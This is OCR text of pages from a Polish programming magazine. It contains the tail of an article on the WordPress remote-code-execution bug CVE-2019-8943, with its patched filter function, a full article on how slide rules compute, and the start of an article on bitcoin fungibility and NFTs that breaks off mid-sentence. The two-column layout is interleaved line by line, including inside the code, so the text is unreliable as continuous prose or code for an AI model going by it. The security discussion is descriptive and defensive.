function _wp_get_allowed_postdata( $post_data = null ) { niż jednego błędu. W tym przypadku możliwość modyfikacji rekor-
if ( empty( $post_data ) ) {
$post_data = $_POST; dów w bazie danych, a także możliwość wgrania kontrolowanego
} pliku graficznego i przeniesienia go w wybrane miejsce wystarcza do
// Pass through errors uzyskania pełnej kontroli nad serwerem.
if ( is_wp_error( $post_data ) ) {
return $post_data; Osoby zajmujące się bezpieczeństwem chciałyby, aby wszystkie
} błędy były zawsze naprawiane. Nie jest to niestety możliwe. Czasa-
return array_diff_key( $post_data, array_flip( array( 'meta_ mi ze względu na ograniczone zasoby wykonuje się ocenę ryzyka, na
input', 'file', 'guid' ) ) );
} podstawie której szacuje się, czy dany błąd może być na tyle trudny
do ponownego wykorzystania, że tworzenie poprawki dla niego jest
Aktualna wersja Wordpressa, w chwili pisania tego artykułu, to nieopłacalne. Czy w przypadku błędu CVE-2019-8943 podjęto wła-
5.8.1. Minęły dwa lata od publikacji błędu, a kod służący do mo- ściwą decyzję? Czas pokaże.

Bibliografia
» Usage statistics and market share of WordPress – https://w3techs.com/technologies/details/cm-wordpress
» WordPress 5.0.0 Remote Code Execution – Simon Scannel – https://blog.sonarsource.com/wordpress-image-remote-code-execution
» Multiple vulnerabilities in WordPress plugin pose website remote code execution risk – Jessica Haworth – https://portswigger.net/daily-swig/multiple-vulnerabilities-in-wordpress-
plugin-pose-website-remote-code-execution-risk

MARIUSZ ZABORSKI
https://oshogbo.vexillium.org
Ekspert bezpieczeństwa w grupie 4Prime. Wcześniej przez 8 lat współtworzył i zarządzał zespołem programistów tworzących
rozwiązanie PAM w firmie Fudo Security. W wolnym czasie zaangażowany w rozwój projektów open-source, w szczególności
FreeBSD.

<64> { 5 / 2021 < 99 > }


PLANETA IT

Matematyczna (pre)historia, czyli o suwaku logarytmicznym


Czy to na maturze czy na studiach – kalkulator jest uznawany za podstawowe wyposażenie.
Dzisiaj trudno sobie wyobrazić życie bez niego. Były jednak czasy, gdy nie był szeroko dostęp-
ny – z uwagi na cenę traktowano go jako towar luksusowy. Jak dawano sobie wówczas radę?

MASZYNY LICZĄCE ZGODA MIĘDZY NARODAMI


Pierwsze urządzenia automatyzujące proces liczenia pojawiały się już Suwaki logarytmiczne przez długi czas były podstawowym narzę-
w XIX wieku w formie mechanicznych maszyn liczących. W latach dziem do obliczeń inżynierskich. Niezależnie od czasów, rejonu
60. ubiegłego wieku rozwój elektroniki pozwolił na całkowitą zmianę i ustrojów ludzie musieli łatwo i efektywnie wykonywać podstawowe
podejścia. Można już było kupić urządzenia liczące oparte o półprze- operacje matematyczne. Bardzo szybko doprowadziło to do niefor-
wodniki, które mieściły się w średniej wielkości walizce. Niestety, malnej standaryzacji. Nie bez znaczenia jest też fakt, że już pierwszy
umożliwiały one realizację jedynie prostych operacji matematycz- suwak Oughtreda był na tyle dopracowany, że nie było potrzeby jego
nych, takich jak dodawanie czy odejmowanie. ulepszania. Pochodzące z różnych krajów suwaki wyglądają bardzo
Przełom nastąpił w 1972 roku, kiedy to firma HP wypuściła na podobnie i umiejętność obsługi jednego z nich automatycznie pocią-
rynek pierwszy kieszonkowy kalkulator naukowy1, a więc miało to ga za sobą umiejętność obsługi wszystkich innych.
miejsce wiele lat po rewolucji przemysłowej, skonstruowaniu pierw- W podstawowej wersji suwak wyposażony jest w skale pokazane
szej bomby atomowej czy złotej erze lotów kosmicznych. na Rysunku 2. W tym artykule opisaną zostaną skale C, D, CI, czyli
te, które używane są najczęściej.

JAK RADZONO SOBIE WCZEŚNIEJ?


Człowiek od zawsze potrafilł wymyślać takie rozwiązania, które po-
zwalałyby mu ograniczyć wysiłek. Można by rzec, że to właśnie le-
nistwo było przysłowiową matką (ojcem?) wynalazków. Nie inaczej
było w matematyce.
W XVII wieku żył pewien matematyk-wynalazca William Ough-
tred. Oprócz tego, że był autorem wielu podręczników, usystematy-
zował znaną ówcześnie algebrę i trygonometrię, stworzył urządzenie,
które zrewolucjonizowało obliczenia – suwak logarytmiczny.
Zanim zagłębimy się w szczegóły, przyjrzyjmy się budowie jed-
nego z najprostszych przedstawicieli rodziny suwaków – modelowi
firmy Aristo, pochodzącemu z wczesnych lat 80. (Rysunek 1). Warto
dodać, że zarówno wygląd, jak i funkcjonalność nie zmieniły się zna-
cząco od momentu opracowanie go przez Oughtreda.
Na pierwszy rzut oka suwak nie wygląda na skomplikowane urzą-
dzenie. Ot, kilka plastikowych części połączonych ze sobą z nadruko-
wanymi tajemniczymi liczbami.
Stąd właśnie wziął się jego sukces – siła w prostocie.
Rysunek 2. Skale suwaka logarytmicznego
1. Model HP-35, choć wymagał dość dużych kieszeni.

Rysunek 1. Suwak logarytmiczny firmy Aristo 0903 VS. A – korpus, B – ruchomy pasek, C – szkiełko z linią

<66> { 5 / 2021 < 99 > }


PLANETA IT

ODROBINA MATEMATYKI MNOŻENIE LICZB


Aby zrozumieć zasadę działania suwaka logarytmicznego, konieczne Podobno mnożyć każdy może, jeden lepiej, drugi gorzej. Jak jednak
jest przypomnienie sobie kilku informacji ze szkoły. mnożyć, gdy skala staje się logarytmiczna?
Logarytm o podstawie X liczby Y odpowiada na pytanie, do jakiej Żeby nie wywoływać zawrotu głowy, posłużmy się prostym przy-
potęgi należy podnieść X, żeby otrzymać Y. Ścisłą zależność można kładem. Przeanalizujmy operację mnożenia liczb 1,3 i 1,4.
przedstawić za pomocą wzoru:

Rysunek 5. Skala logarytmiczna przedziału <1; 2>

W przypadku typowych suwaków logarytmicznych operujemy na loga-


rytmach mających podstawę równą 10, tzw. logarytmach dziesiętnych: Na Rysunku 5 pokazano przedział liczbowy 1 do 2 w skali logaryt-
micznej. Oznaczmy teraz dwie liczby: 1,3 i 1,4. Jeśli startując od 1,3,
przesuniemy się w prawo o odległość, jaka dzieli 1 i 1,4 (dodawanie),
to w skali logarytmicznej będzie to odpowiadało mnożeniu.
Interesującą własnością logarytmu jest logarytm iloczynu dwóch liczb:

Na pierwszy rzut oka powyższy wzór nie jest niczym odkrywczym,


ale okazuje się być podstawą działania suwaka logarytmicznego. Rysunek 6. Skala logarytmiczna z zaznaczonymi odcinkami z przykładu
Wiąże on mnożenie dwóch liczb (trudna operacja) oraz dodawanie
(łatwiejsza). A gdyby tak do mnożenia liczb zawsze wykorzystywać Na Rysunku 6 można zauważyć, że faktycznie – po przesunięciu się
dodawanie? Świat byłby zdecydowanie prostszy. zgodnie z powyższymi założeniami – otrzymujemy wynik 1,82.
W dalszym ciągu nie jest to wygodne, bo trzeba w jakiś sposób

SKALE LICZBOWE odmierzać odległości, zapamiętywać je i odpowiednio przesuwać


punkty na osi. Na szczęście w XVII wieku opracowano genialne roz-
Oś liczbową można reprezentować na wiele sposobów. Najbardziej wiązanie: drugą, identyczną skalę przesuwaną względem pierwszej.
powszechne jest przedstawienie jej w postaci liniowej. W takiej Tak oto narodził się pierwszy suwak logarytmiczny.
właśnie formie zna ją większość ludzi, gdzie w szkole podstawowej We współczesnych urządzeniach do mnożenia używa się skali D
tłumaczono arytmetykę, używając „myślowego” zająca skaczącego (nieruchomej) i skali C (ruchomej). Ustawienie suwaków dla realiza-
po osi – Rysunek 3. Liniowość oznacza, że przesuwając się w prawo cji mnożenia 1,3×1,4 pokazano na Rysunku 7.
o taki sam odcinek (doskonały zając o stałej długości skoku), do war-
tości liczb dodajemy +10.

Rysunek 7. Operacja mnożenia na rzeczywistym suwaku

DZIELENIE
Rysunek 3. Oś liczbowa w skali liniowej W bardzo podobny sposób można zrealizować operację dzielenia.
W przeciwieństwie do mnożenia w skali logarytmicznej polega ono
W przypadku skali logarytmicznej każde przesunięcie w prawo na osi na przesuwaniu się w lewą stronę osi. W celu wygodnego odróżnie-
powoduje zwiększenie wartości nie o 10, ale aż 10 razy (Rysunek 4)! nia tych dwóch operacji suwaki logarytmiczne mają odrębną skalę CI
przedstawiającą odwrotności liczb (czyli w ujęciu logarytmicznym,
cyfry na osi rosną od prawej do lewej). Na Rysunku 8 pokazano przy-
kładowe dzielenie 2:1,5. Odczytując wynik z podziałki równy 1,33,
jesteśmy bardzo blisko dokładnego 1,3(3).

Rysunek 4. Oś liczbowa w skali logarytmicznej

Skaczący tak jak poprzednio zając wykonuje zatem nie operację do-
dawania, ale mnożenia. Takim sposobem skala logarytmiczna może
wygodnie przedstawić na jednym rysunku zarówno małe liczby, jak i Rysunek 8. Operacja dzielenia na rzeczywistym suwaku
te o kilka rzędów wielkości większe.

<68> { 5 / 2021 < 99 > }


/ Matematyczna (pre)historia, czyli o suwaku logarytmicznym /

POSTAĆ OGÓLNA o nim, że jest całkowicie „bezobsługowy”. Skale nadrukowane na su-


wak mają zakres 1–10. A co z większymi liczbami?
W ujęciu matematycznym dwie skale przesuwane względem siebie Tutaj dochodzimy do największej niedogodności suwaka: prawi-
reprezentują proporcję czterech liczb. Na Rysunku 9 pokazano bar- dłowego postawienia przecinka. Na przykład, mnożąc 4 i 5, na skali
dziej ogólną zależność. odczytamy liczbę 2,0.
Suwak logarytmiczny jest w stanie przedstawić tylko kilka naj-
bardziej znaczących cyfr w wykorzystywanych liczbach. Użytkownik
musi wstępnie oszacować rząd wielkości wyniku, żeby potem przesu-
nąć przecinek o odpowiednią ilość miejsc. W tym przypadku wystar-
czy przesunąć o jedną pozycję w prawo, otrzymując liczbę 20.
Rysunek 9. Ogólna zależność mnożenia/dzielenia
(źródło: http://www.tomaszgrebski.pl/viewpage.php?page_id=500)
POTĘGI I FUNKCJE
TRYGONOMETRYCZNE
Bardziej wprawni użytkownicy suwaków mogą wykorzystać wspo-
mnianą zależność do mnożenia nawet trzech liczb. Jest to przykład Typowe suwaki oferują też możliwość odczytywania wartości pew-
na to, że suwak ma wiele „trików”, które ułatwiają liczenie. Podob- nych często używanych funkcji matematycznych. Opisywany model
nie jak z vimem, każdy użytkownik ma swój własny zestaw ulepszeń Aristo wspiera użytkownika w obliczaniu: logarytmu dziesiętnego,
przyspieszających pracę. kwadratu i sześcianu liczby oraz funkcji trygonometrycznych (sinus,
cosinus, tangens).

MIEJSCE DZIESIĘTNE Na rysunku 10 pokazano przykładowy scenariusz użycia. Na osi D


(oznaczona jako x) ustawiono liczbę 8. Dzięki przesuwanemu wskaź-
Suwak logarytmiczny ułatwił pracę inżynierom, bo umożliwił wy- nikowi można odczytać wartość log(x)=0,903, x3=510, x2=64, uzy-
godne, choć przybliżone, obliczenia. Niestety nie można powiedzieć skując dokładność na poziomie trzech cyfr znaczących.

/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <69>
PLANETA IT

TRIK: DODAWANIE/ODEJMOWANIE
W ten sposób dochodzimy do pięty achillesowej operacji na suwaku
logarytmicznym. Zamiana osi liczbowych z liniowych na logaryt-
miczne pozwoliła na łatwe mnożenie, ale niemal całkowicie wyeli-
minowała możliwość dodawania liczb. Poniżej przedstawiono wzory
używane do dodawania/odejmowania liczb na suwaku:

Rysunek 10. Funkcje matematyczne dla x=8


W każdym przypadku sumę (bądź różnicę) liczb należy najpierw
przedstawić w formie iloczynu i ilorazu. Dodanie bądź odjęcie 1 jest
W przypadku funkcji trygonometrycznych kąt zostaje wybierany operacją możliwą do zrealizowania w pamięci. Mnożenie i dzielenie
za pomocą wskaźnika, a wartość funkcji odczytywana ze skali x (ska- wykonujemy już według sposobu omówionego wcześniej.
la D). Na Rysunku 10 widać, że wartość 0,8 otrzymujemy dla kąta Należy mieć na uwadze to, że opisaną metodą można dodawać
53,5O (sinus), 36,75O (cosinus) i 38,65O (tangens). jedynie liczby o porównywalnej ilości miejsc dziesiętnych. W innym
przypadku ograniczona ilość cyfr znaczących dostępnych do odczy-

FUNKCJE TRYGONOMETRYCZNE tu ze skali powoduje, że błędy zaokrągleń są większe niż jeden ze


składników.
Bardziej zaawansowane suwaki wyposażone są również w osobną część
ruchomą z nadrukowanymi skalami trygonometrycznymi. Na Ry­sun­
ZAKOŃCZENIE
ku 11 zaprezentowano przykładowe schematy użycia dla obliczenia
proporcji wykorzystujących tangens i sinus. Suwak logarytmiczny od zawsze był dla mnie owiany magią przykry-
tą zasłoną tajemniczości. Zdawałem sobie sprawę, że wykorzystywa-
no go do naprawdę profesjonalnych obliczeń. Miałem jednak wąt-
pliwości, czy mając wszechobecne dzisiaj kalkulatory, da się używać
takiego oldskulowego instrumentu.
Największym zaskoczeniem było to, że urządzenie naprawdę
działa i umożliwia realizację niemalże wszystkiego tego, do czego
używam kalkulatora naukowego.
Oczywiście, wykonywanie obliczeń na kalkulatorze z pewnością
Rysunek 11. Schemat proporcji używających funkcji trygonometrycznych jest szybsze i wygodniejsze. Niemniej jednak używanie suwaka nie
(źródło: http://www.tomaszgrebski.pl/viewpage.php?page_id=500) powoduje jakiejś ogromnej straty czasu. Największym problemem
było „przestawienie się” na używanie analogowego instrumentu.
Opisywane schematy są zdecydowanie mniej popularne i na rynku Gdyby mieć z nim kontakt dłużej i znać więcej trików przyspieszają-
ciężko znaleźć suwaki pozwalające je wykorzystać. Są też dużo bar- cych liczenie, praca z nim niewątpliwie stałaby się bardziej efektyw-
dziej skomplikowane w użyciu. na. Wystarczy obejrzeć archiwalne filmy z centrum kontroli lotów
Można się zastanawiać, co mają wspólnego funkcje trygonome- Kennedy’ego, jak szybko inżynierowie odpowiedzialni za nawigację
tryczne ze skalą logarytmiczną i dlaczego „to działa” na suwaku. liczyli trajektorie – wszystko przy użyciu suwaków.
Zainteresowanym polecam przypomnieć sobie wzór Eulera wiążący Polecam poeksperymentować z tego typu urządzeniem i poczuć
funkcje trygonometryczne z funkcją wykładniczą (zespoloną). się jak za dawnych czasów.

WOJCIECH MACEK
wma@semihalf.com
Inżynier systemów wbudowanych, pracuje w krakowskiej firmie Semihalf. Służbowo zajmuje się programowaniem systemów
operacyjnych, szybkimi sieciami i rozwiązaniami Data Plane. Prywatnie pasjonat wszystkiego, co ciekawe – od elektroniki do
oprogramowania.

<70> { 5 / 2021 < 99 > }


PLANETA IT

Czy bitcoin bitcoinowi jest równy?


Dzisiaj, kiedy bitcoin (BTC) po raz kolejny bije rekordy wycen, a wiele nowych osób dołącza do
rynku kryptowalut, warto zadać sobie pytanie, czy każdy bitcoin ma taką samą wartość. Ktoś
mógłby powiedzieć: „Ale jak to? Wystarczy wejść na dowolną giełdę albo portal podający cenę
np. Coinmarketcap [1] i zobaczyć samemu. Jest tylko jedna wartość, która w danej chwili okre-
śla bitcoina, i nie ma żadnego rozróżnienia na poszczególne monety. Przecież to nie jest NFT!”

A by udzielić odpowiedzi na tytułowe pytanie, należy wyjaśnić i zro-


zumieć niektóre zagadnienia zarówno ze świata finansów, kryp-
towalut, jak i blockchaina. Osobom, które pierwszy raz mają stycz-
otrzymam 1000 zł i mogę za to kupić 160 litrów benzyny, to za
to samo 1000 zł powinienem za 20 lat również móc dokonać ta-
kiego samego zakupu.
ność z tymi obszarami, mogą się one wydawać nieco zagmatwane,
spróbuję jednak przedstawić je najprościej jak to możliwe. Część de- Jeśli weźmiemy pod uwagę powyższe definicje i odniesiemy je do bit-
finicji i mechanizmów zostanie co prawda nieco uproszczona, ale na coina, to po raz kolejny możemy stwierdzić, że jak najbardziej może
potrzeby tego artykułu w zupełności wystarczy. on być cyfrowym pieniądzem. Niektórzy mogą mieć wątpliwości co
do funkcji tezauryzacyjnej w związku z dużymi wahaniami kursu

BITCOIN JAKO CYFROWY PIENIĄDZ tej kryptowaluty, jednak jeśli spojrzymy na bitcoina w nieco szer-
szej perspektywie, to jego wartość w czasie nie tylko utrzymuje siłę
Wiele osób twierdzi, że bitcoin może służyć jako nowa forma płatno- nabywczą naszej pracy, ale wręcz ją zwiększa. Oczywiście w Polsce
ści, którą będziemy posługiwać się na co dzień. Salwador to pierwszy bitcoin nie jest uznany jeszcze za oficjalny środek płatniczy, ale nie
w tym roku kraj, który zdecydował się uznać tę kryptowalutę za le- od razu Rzym zbudowano. Mimo to nawet w naszym kraju istnieją
galny środek płatniczy [2]. Czy aby na pewno najbardziej popularne miejsca, gdzie można dokonać zakupów za kryptowaluty – i to nie
cyfrowe aktywo nadaje się do takiego zastosowania? Żeby odpowie- tylko przy pomocy bitcoina [4].
dzieć na to pytanie, musimy najpierw wyjaśnić sobie, czym tak na- Oprócz funkcji ekonomicznych pieniądz ma też kilka pożąda-
prawdę są pieniądze i jakie właściwości się z nimi wiążą. Zapoznajmy nych własności, a mianowicie trwałość, poręczność, podzielność,
się więc pokrótce z podstawowymi pojęciami, aby płynnie przejść do rozpoznawalność, akceptowalność, stabilność i jednorodność.
dalszej części artykułu. Jak te własności odnoszą się do bitcoina? Otóż można śmiało
Zgodnie z definicją na Wikipedii pieniądz to towar uznany w wyni- stwierdzić, że jest on trwały, ponieważ dzięki zastosowaniu tech-
ku ogólnej zgody społecznej za środek wymiany gospodarczej, w którym nologii blockchain zniszczenie go jest niemal niemożliwe, a przy-
są wyrażone ceny i wartości wszystkich innych towarów. Jako waluta, najmniej bardzo trudne i wysoce nieprawdopodobne. Jeśli chodzi
krąży anonimowo od osoby do osoby i pomiędzy krajami, ułatwiając o poręczność, to tytułowa kryptowaluta świetnie spełnia się w tej roli
wymianę handlową. Innymi słowy jest to materialny lub niematerialny i pozwala w wygodny sposób przenosić ogromne wartości na duże
środek, który można wymienić na towar lub usługę. Prawnie określony odległości. Mimo że dla przeciętnego użytkownika wciąż może to się
środek płatniczy, który może wyrażać, przechowywać i przekazywać wydawać trudne, postępujący wzrost zastosowania oraz rozwój tech-
wartość ściśle związaną z realnym produktem społecznym [3]. Nie bę- nologii, chociażby na przestrzeni ostatnich 4 lat, pozwala wniosko-
dziemy tu dyskutować na temat, czy obecne waluty fiducjarne spełnia- wać, że w stosunkowo niedługim czasie posługiwanie się bitcoinem
ją przedstawioną definicję, jednak na potrzeby tego artykułu możemy będzie tak proste jak używanie dzisiaj karty płatniczej. Kolejna cecha
uznać, że obecnie używane złotówki, dolary, funty, euro itp. wpasowują to podzielność i tutaj najbardziej popularna kryptowaluta świata ra-
się w powyższe objaśnienie. Opierając się na definicji pieniądza, można dzi sobie doskonale, ponieważ najmniejszą jednostką bitcoina jest 1
by stwierdzić, że bitcoin jest faktycznie pieniądzem, a przynajmniej ma satoshi, którego wartość wynosi 0.00000001 BTC. Nawet więc przy
do tego duże predyspozycje. obecnej cenie 1 BTC jesteśmy w stanie dokonywać płatności o warto-
Możemy również wyodrębnić ekonomiczne funkcję pieniądza, ści ułamków centów. Co do rozpoznawalności, coraz więcej ludzi ma
a są nimi (czasem można spotkać się z nieco innym podziałem, ale świadomość, czym jest bitcoin, chociaż prawdą jest również i to, że
sprowadza się on ostatecznie do tego samego): większość z osób nie potrafiłaby odróżnić, czy ktoś przesłał jej praw-
» funkcja transakcyjna – pieniądz powinien być uznawany jako dziwego, czy podrobionego bitcoina. Od razu zaznaczę, że naszej
powszechny środek płatniczy, co oznacza, że w każdym miejscu głównej kryptowaluty samej w sobie nie da się podrobić, co oznacza,
można go wymienić na dany towar lub usługę, że na blockchainie bitcoina nie jesteśmy w stanie utworzyć innego
» funkcja obrachunkowa – pieniądz powinien być miernikiem tokena, który byłby podróbką, jednak wiele osób nie wie jeszcze, jak
wartości. Najprościej mówiąc, przy jego pomocy powinniśmy działa sam blockchain, co może prowadzić do potencjalnych oszustw.
być w stanie wyznaczyć cenę innych towarów, Przechodząc do akceptowalności, omówiłem to już nieco wyżej
» funkcja tezauryzacyjna – pieniądz powinien pozwalać przecho- i wydaje mi się, że wraz z czasem będzie ona tylko wzrastać. Widać
wywać wartość w czasie. Zatem jeśli dzisiaj za wykonaną pracę zresztą, jakie podejście mają do tego giganci płatności, tacy jak Visa

<72> { 5 / 2021 < 99 > }


PLANETA IT

czy Mastercard [5], i jak dużo robią, aby wprowadzić płatności przy grować się z Krypto Punkami i, załóżmy, zezwolić na posiadanie awa-
pomocy kryptowalut. tara w formie Punka, to jedynie posiadacz konkretnego NFT będzie
Do wyjaśnienia pozostały jeszcze dwie cechy, czyli stabilność mógł go użyć. Czy zatem warto wydać miliony na taki zakup? Jest
i jednorodność. Jeśli chodzi o pierwszą, dotyczy ona przechowania to bardzo dyskusyjna kwestia i opiera się mocno o spekulacje. Kto
wartości w czasie, co też już było poruszone, jednak uznaje się, że w takim razie tak się bawi? Przede wszystkim uczestnicy rynku kryp-
pieniądz jest stabilny, jeśli jego wartość w czasie jest w miarę stała lub towalut, ale nie tylko. W tym roku nawet tak duża i poważna firma
rośnie. Bitcoin pokazał już, że w długiej perspektywie jego wycena jak VISA zdecydowała się na taki krok i wydała niemal 150 tys. $, aby
jak na razie rośnie i to nie tylko w standardowych walutach, które ze stać się posiadaczem cyfrowej grafiki [8]. Krypto Punki to tylko jeden
względu na panujący system monetarny podlegają inflacji, ale rów- z przykładów, których jest znacznie więcej. Nie będę tutaj wymieniał
nież w aktywach, które z angielskiego nazywane są store of value. Dla wszystkich, ale może warto wspomnieć, że ludzie kupują też grafiki
przykładu możemy zobaczyć, jak bitcoin zachowywał się w stosunku kamieni, zwane Ether Rocks [9], oraz wirtualne kotki. Notabene ruch
do złota [6], aby nie mieć wątpliwości co do jego stabilności. Mam wygenerowany przez aplikację CryptoKitties w 2017 r. spowolnił całą
nadzieję, że teraz w mniejszym bądź większym stopniu możemy się sieć Ethereum [11]. Cóż, problemy wieku młodzieńczego nowych
zgodzić, że bitcoin ma (lub będzie mieć w niedalekiej przyszłości) technologii. Jeśli ktoś chciałby zapoznać się bliżej z różnymi, nieraz
powyższe 6 cech. Zostaje nam jeszcze jeden element, jakim jest jed- dziwnymi kolekcjami, to warto zajrzeć na portal OpenSea [12].
norodność, czasem też definiowany jako zamienność (ang. fungible), Czym tak naprawdę jest wspomniane NFT, bo chyba nie chodzi
i z nim jest największy problem. Własność ta mówi, że dane jednostki tylko o cyfrowe obrazki?
towaru, które mają być pieniędzmi, powinny być relatywnie podob- NFT, czyli non-fungible token, można potraktować jako certyfi-
ne i wzajemnie wymienne. Dla przykładu, jeśli będę chciał wymienić kat, który zapisany jest na blockchainie. Tym świadectwem możemy
mój banknot dziesięciozłotowy na inny o tym samym nominale, to się wymieniać, sprzedawać albo po prostu trzymać jako zaświadcze-
oba muszą pozwolić na zakup towaru o tej samej wartości. Nie może nie oryginalności jakiegoś cyfrowego lub realnego dobra, które posia-
być takiej sytuacji, że mój „papierek” będzie mniej wart, ponieważ damy. Bardzo dobrze może sprawdzić się jako poświadczenie unikal-
zawiera w sobie coś, czego ten pierwszy nie miał. Na pierwszy rzut ności kolekcjonerskich przedmiotów. Załóżmy, że tworzymy kolekcję
oka można by powiedzieć, że bitcoin ma również tę cechę. Jeśli wej- niepowtarzalnych kubków, które następnie sprzedajemy. Każdy z tych
dziemy na jakąkolwiek giełdę kryptowalut, to możemy znaleźć różne kubków jest unikatowy i warto byłoby posiadać coś, co świadczyłoby
pary walutowe, przy pomocy których ludzie wymieniają się swoimi o jego oryginalności, ponieważ ktoś kiedyś może chcieć odsprzedać
kryptowalutami. Nie znajdziemy jednak opcji, która pozwoliłaby swój nabytek. Oczywiście możemy dołączać papierowe zaświadcze-
nam wymienić np. naszego 1 BTC za czyjeś 0.5 BTC. Z początku wy- nia. Problem w tym, że taki papierek jest stosunkowo łatwo podrobić,
dawać by się mogło, że nie miałoby to sensu, jednak bitcoin ma pew- a dodatkowo nie jest to zbyt trwały nośnik danych. I tutaj z pomocą
ną cechę, która powoduje, że w przyszłości takie wymiany mogą mieć przychodzi nam blockchain, na którym możemy stworzyć swoje NFT
miejsce. Ale zanim do niej przejdziemy, to… i dołączać je do realnego produktu. W ten sposób, wykorzystując ce-
chy blockchaina, takie jak np. transparentność i niezmienność histo-

KRYPTO PUNKI, KOTY I KAMIENIE rii, mamy idealny sposób do poświadczania autentyczności towaru.
Oczywiście istnieje jeszcze sporo nierozwiązanych problemów, na
przykład, co się stanie, jeśli ktoś posiada certyfikat, ale podrobi realny
produkt i sprzeda go dalej, zostawiając sobie oryginał. Można sobie
wyobrazić, że w takiej sytuacji podróbka ma szansę stać się niejako
unikatem. W chwili kiedy ludzie powszechnie uznają poświadcze-
nia w formie NFT, jedynie osoba posiadająca cyfrowy certyfikat bę-
dzie w stanie sprzedać dany przedmiot. Nawet jeśli ktoś trzymałby
wciąż prawdziwy kubek, ale nie posiadałby NFT, nie sprzeda towa-
ru, ponieważ nie będzie w stanie poświadczyć jego oryginalności..
Oznaczałoby to, że wartość tak naprawdę będzie w samym tokenie,
Rysunek 1. CryptoPunks #3100 (źródło: larvalabs.com/cryptopunks/details/3100)
a niekoniecznie w przedmiocie. Oczywiście upraszczam sytuację, po-
nieważ może istnieć specjalista od tych konkretnych kubków, który
Obecnie w świecie blochainowo-kryptowalutowym ogromną popu- będzie w stanie stwierdzić, co jest fałszywką, a co nie, jednak są to
larnością cieszą się projekty powiązane z tzw. NFT. Jedną z bardziej problemy, które moim zdaniem zostaną rozwiązane w przyszłości.
rozpoznawalnych inicjatyw są tzw. Krypto Punki [7]. Czym one są? Sprawa jest prostsza, jeśli token NFT jest związany wyłącznie z cyfro-
W uproszczeniu można powiedzieć, że są to cyfrowe pikselowe ob- wym aktywem (np. obrazkiem kamienia), ponieważ wtedy jesteśmy
razki, za które ludzie są w stanie zapłacić miliony dolarów (tak, wiem, w stanie w łatwy sposób zweryfikować wszystko w obrębie blockcha-
świat kryptowalut potrafi być dziwny). Precyzyjniej mówiąc, zakup ina i nie ma możliwości podrobienia danego aktywa.
dotyczy praw do tej grafiki. Oczywiście nic nie stoi na przeszkodzie, Zanim przejdziemy dalej, wyjaśnię pokrótce, czym jest smart
by skopiować sam obraz, jednak na blockchainie łatwo można zwery- contract. Nie będziemy wchodzić w szczegóły, ponieważ jest to temat
fikować, kto jest prawowitym właścicielem. Nawet jeśli posłużyliśmy na osobny artykuł, jednak na prostym przykładzie postaram się po-
się metodą kopiuj/wklej, to jeśli dana aplikacja będzie chciała zinte- kazać, o co w tym chodzi.

<74> { 5 / 2021 < 99 > }


PLANETA IT

Załóżmy, że jest rok 2022 i właśnie ma się odbywać finałowy mecz by. Jeśli ktoś jest zainteresowany, w jaki sposób sobie z tym poradzić,
Mistrzostw Świata w Piłce Nożnej, w którym biorą udział Hiszpania polecam poszukać informacji na temat tzw. wyroczni (ang. oracles),
i… Polska (pamiętajmy, że to tylko przykład i nie musi być realistycz- które pełnią funkcję pomostu pomiędzy informacjami ze świata ze-
ny). Dwie osoby chciałyby zawrzeć ze sobą zakład, która z drużyn zo- wnętrznego a blockchainem. Jest jeszcze kilka innych cech, które od-
stanie mistrzem. Każdy stawia po 5 tys. zł na swojego faworyta, czyli różnia aplikacje oparte o blockchain od standardowych rozwiązań,
pula wynosi 10 tys. zł, i wygrany może być tylko jeden. Pytanie tylko, ale to już temat na osobny artykuł.
co zrobić z tymi pieniędzmi zanim poznamy wynik. Potrzebujemy ja- Wracając do zagadnienia NFT, są to po prostu odpowiednio napi-
kiegoś pośrednika, więc znajdujemy trzecią osobę, która przechowa sane kontrakty. Oczywiście można próbować wymyślać koło na nowo,
zgromadzone środki do czasu ogłoszenia wyniku, a następnia przeka- lepiej jednak trzymać się sprawdzonych rozwiązań i w tym przypad-
że je zwycięzcy. I tu pojawia się pierwszy problem, a mianowicie czy ku wykorzystać powstały standard. Kontrakty oparte o ten szablon
możemy mieć pewność, że ta trzecia osoba odda te pieniądze lub na- nazywane są tokenami ERC-721. Nazwa pochodzi od numeru EIP
wet jeśli odda, to czy wszystkie. Dodatkowo może to być podstawiona (Ethereum Improvement Proposals), w którym został zapropono-
osoba przez jednego z graczy. Jednym słowem nie mamy pewności, wany ustandaryzowany interface [14]. Innym standardem jest ERC-
że wszystko pójdzie zgodnie z umową. Oczywiście pierwsza myśl to 20, który jest wykorzystywany do tworzenia kryptowalut opartych
skorzystanie z jakiejś aplikacji, która umożliwi nam zawieranie takich o blockchain Ethereum, Binance Smart Chain czy Polygon. Warto
zakładów; w ten sposób odpada nam kwestia osoby rozstrzygającej dodać, że bitcoin nie jest tokenem, a monetą (ang. coin), jednak nie
zakład. Ale czy aby na pewno? W żadnym wypadku! Zamieniliśmy je- będę się tutaj zagłębiał w szczegóły. Na potrzeby tego artykułu może-
dynie fizyczną osobę na program komputerowy, co do którego może- my te dwie kwestie traktować identycznie. Standardowe kryptowalu-
my mieć tyle samo zaufania jak do przypadkowego przechodnia. I nie ty od tokenów NFT różni to, że każde NFT ma swoje id i w ten spo-
ma tutaj znaczenia, czy korzystamy z usług renomowanych firm, czy sób jesteśmy w stanie zidentyfikować różne tokeny, mimo że mogą
też szemranych przedsiębiorców. Po pierwsze, nie jesteśmy w stanie należeć do jednego kontraktu. To rozróżnienie pozwala nam przypi-
w żaden sposób zweryfikować, co tak naprawdę robi aplikacja, ponie- sać różne własności do poszczególnych tokenów i stąd bierze się też
waż nie mamy dostępu do jej kodu. Nawet jeśli twórca twierdzi jedno, różnica w ich wycenie. W przypadku standardowych kryptowalut nie
nigdy nie mamy pewności, czy nas nie oszukuje. Po drugie, przez to, ma identyfikatorów, dlatego poszczególne tokeny są takie same. Czy
że takie aplikacje są scentralizowane, właściciele mają pełną kontrolę zatem każdy bitcoin ma swoje id? W pewnym sensie tak, co sprawia,
nad tym, co się może stać. W Internecie można znaleźć wiele przy- że niektórzy mogą traktować poszczególne monety jako pewnego ro-
padków, kiedy należne nagrody nie zostały wypłacone przez bukma- dzaju tokeny NFT.
cherów lub wiązało się to z wieloma komplikacjami [13].
Tutaj z pomocą przychodzi wspomniany wcześniej smart con-
UTXO, CZYLI BITCOINOWE BANKNOTY
tract. Najprościej mówiąc, jest to kawałek kodu, który przechowy-
wany jest na blockchainie i powiązany jest z konkretnym stanem Kiedy ktoś chce przelać 1000 zł drugiej osobie, w praktyce prowa-
